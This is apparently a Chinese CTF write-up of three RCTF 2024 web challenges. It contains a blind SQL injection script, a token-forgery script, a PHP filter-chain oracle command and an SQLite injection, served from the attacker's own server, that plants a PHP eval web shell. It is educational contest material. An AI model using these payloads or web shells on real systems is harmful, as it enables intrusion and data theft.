2024RCTF - web部分 wp

2024RCTF web部分 wp

前言

由于赛时没有时间打,赛后复现一下.
本篇文章写得会比较详细(或者是啰嗦,觉得太拖沓可以参考https://su-team.cn/passages/2024-05-27-RCTF/

what_is_love

初步审计代码
在/key1中存在一个sql注入漏洞

app.post("/key1", (req, res) => {
  const { key1 } = req.body;
  if (key1.length > 52 || !isSafe(key1)) {       //长度不能超过52且不能有黑名单
    return res.send("love waf");
  }
  let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;               //执行sql,这里存在sql注入
  db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {
    if (err) {
      res.send("error");
    } else if (results.length > 0) {
      res.send("success");
    } else {
      res.send("wrong");
    }
  });
});

SELECT * FROM key1 WHERE love_key = ‘${key1}’
该语句存在布尔盲注.
用key1 = 0’ || 1# 测试一下,回显success,说明存在布尔盲注。
使用脚本爆出key1.
有字符长度限制,有两种绕过方法

  1. 需要^和$分别从前从后匹配
  2. 利用数组绕过,即将参数key1改为key1[]即可
import requests
import urllib
import time
def waff():
    flag = ''
    while True:
        for j in list:
            data = {
                "key1":"' || love_key REGEXP BINARY '{}$'#".format(j+flag)
            }
            print(data)
            r = requests.post(url, headers=headers, data=data)
            if "success" in r.text:
                flag = j+flag
                print(flag)
                break
            if j == '.':
                print(flag)
                return

waff()

在这里插入图片描述在这里插入图片描述

跑出前半部分的flag,接下来看/key2

在/key2内我们需要传入一个username和love_time,love_time需要大于10000,输入后会返回一个token,,token中有一个值have_lovers,只有当 username和love_time与userinfo中的相同时才会赋值有true。
在/check可以提交token并且当have_lovers==true时会给我们key2。
关键代码如下

  userInfo.username = username;
  userInfo.love_time = Number(love_time);

在auth.js中看看它是如何生成token的

const secret = crypto.randomBytes(128);
const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");//对输入的数据进行 SHA-256 哈希处理,并返回十六进制格式的哈希值。

//看看它是怎么生成token的
const createToken = (userinfo) => {
  const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +   //首先将secret转换成一个64位的巨大整数值(BigUInt64BE),然后将其转换为十进制整数。
    parseInt(userinfo.love_time);           //将userinfo中的love_time属性转换为整数。
  const data = JSON.stringify(userinfo);
  return (
    Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)
  );  //前半部分是base64编码, 
};

简单来说,就是前半部分是base64,后半部分saltedSecret是由love_time决定的。

尝试伪造token
因为字符串经过Number函数处理之后会变成NaN,然后再经过parseInt函数处理之后saltedSecret就会变为NaN,所以此时saltedSecret的值可控了,就可以用来伪造token了.
参考SU战队的wp

const crypto = require("crypto");
const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

data="{\"username\":\"lover\",\"love_time\":null,\"have_lovers\":true}"
saltedSecret=NaN
console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))

在这里插入图片描述得到后半部分的flag。

color

进入题目后提示要通过500关,肯定要写脚本来执行。
js反混淆得到密钥然后编写脚本。
这里直接参考SU-team的脚本了

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import requests
import json


def encrypt_data(data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted_data = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    return base64.b64encode(encrypted_data).decode('utf-8')


def decrypt_data(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(base64.b64decode(encrypted_data)), AES.block_size)
    return decrypted_data.decode('utf-8')


def post_data(session, url, data):
    try:
        response = session.post(url=url, data=data)
        response.raise_for_status()
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"Network error occurred: {e}")
        return None


def main():
    key = b'88b4dbc541cd57f2d55398e9be3e61ae'
    iv = b'41cd57f2d55398e9'
    url = "http://124.71.164.28:10088/final/game.php"
    session = requests.Session()

    for i in range(1, 501):
        print(i)
        encrypted_action = encrypt_data("4", key, iv)
        data1 = {
            "action": "3wrg4Ich1RsKFUUPmU0vlw==",
            "rangeNum": encrypted_action
        }
        response_text = post_data(session, url, data1)
        if response_text:
            parsed_data = json.loads(response_text)
            pos = decrypt_data(parsed_data["data"], key, iv)

            encrypted_pos = encrypt_data(pos, key, iv)
            data2 = {
                "action": "s03/Zr+K7nTxLc2aiHJQcg==",
                "pos": encrypted_pos
            }
            response_text = post_data(session, url, data2)
            if response_text:
                parsed_data = json.loads(response_text)
                status = decrypt_data(parsed_data["data"], key, iv)
                print(status)

    data3 = {
        "action": "IMYZakV42qGIPRWdg/WfFg=="
    }
    response_text = post_data(session, url, data3)
    if response_text:
        print(response_text)


if __name__ == "__main__":
    main()

在这里插入图片描述解密后得到源码secr3tcolor.zip。
源码下边有/final/game.php,审计代码发现有侧信道,关键代码如下
在这里插入图片描述直接尝试一下工具发现不行
在这里插入图片描述这里是因为文件的可控点是在image,而不是文件本身。还要在请求的时候加上action:checkImage 才可以
修改一下脚本php_filter_chains_oracle_exploit-main下的requestor.py
在这里插入图片描述python3 filters_chain_oracle_exploit.py --target http://124.71.164.28:10088/final/game.php --file /flag.txt --parameter 0 --verb POST
就可以正常跑了

Proxy

先简单审计一下代码,代码的功能是实现一个简单的代理服务器。
其中Proxy类实现了发送请求和获取响应内容的功能,使用CURL发送请求,并将响应内容存储在$body属性中。
在这里插入图片描述

$_SERVER[‘SERVER_NAME’].‘:’.$_SERVER[‘SERVER_PORT’];可被伪造,导致我们可以控制其返回内容。
$_SERVER[‘SERVER_NAME’]是当前服务器主机名或IP地址,用于标识当前正在执行脚本的服务器。通常情况下,它是从 HTTP 请求的 Host 头中获取的。
$_SERVER[‘SERVER_PORT’] 是当前运行脚本的服务器端口号。当在浏览器中访问一个网站时,默认的 HTTP 端口号是 80,HTTPS 端口号是 443。
注入点在$ProxyObj->body(其他地方也可以注入,但是会因为后面的sql语句执行失败,导致无法写入文件)

在vps上面起一个php,里面是注入的信息

<?php 
echo "a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_GET[1]);?>');--";
?>

修改HOST为你的公网IP然后发送出去
在这里插入图片描述
访问/shell.php?1=system(‘cat flag.php’); 即可

总结

看了别人的wp学到很多,还是太菜了…

参考链接:https://su-team.cn/passages/2024-05-27-RCTF/

  • 20
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值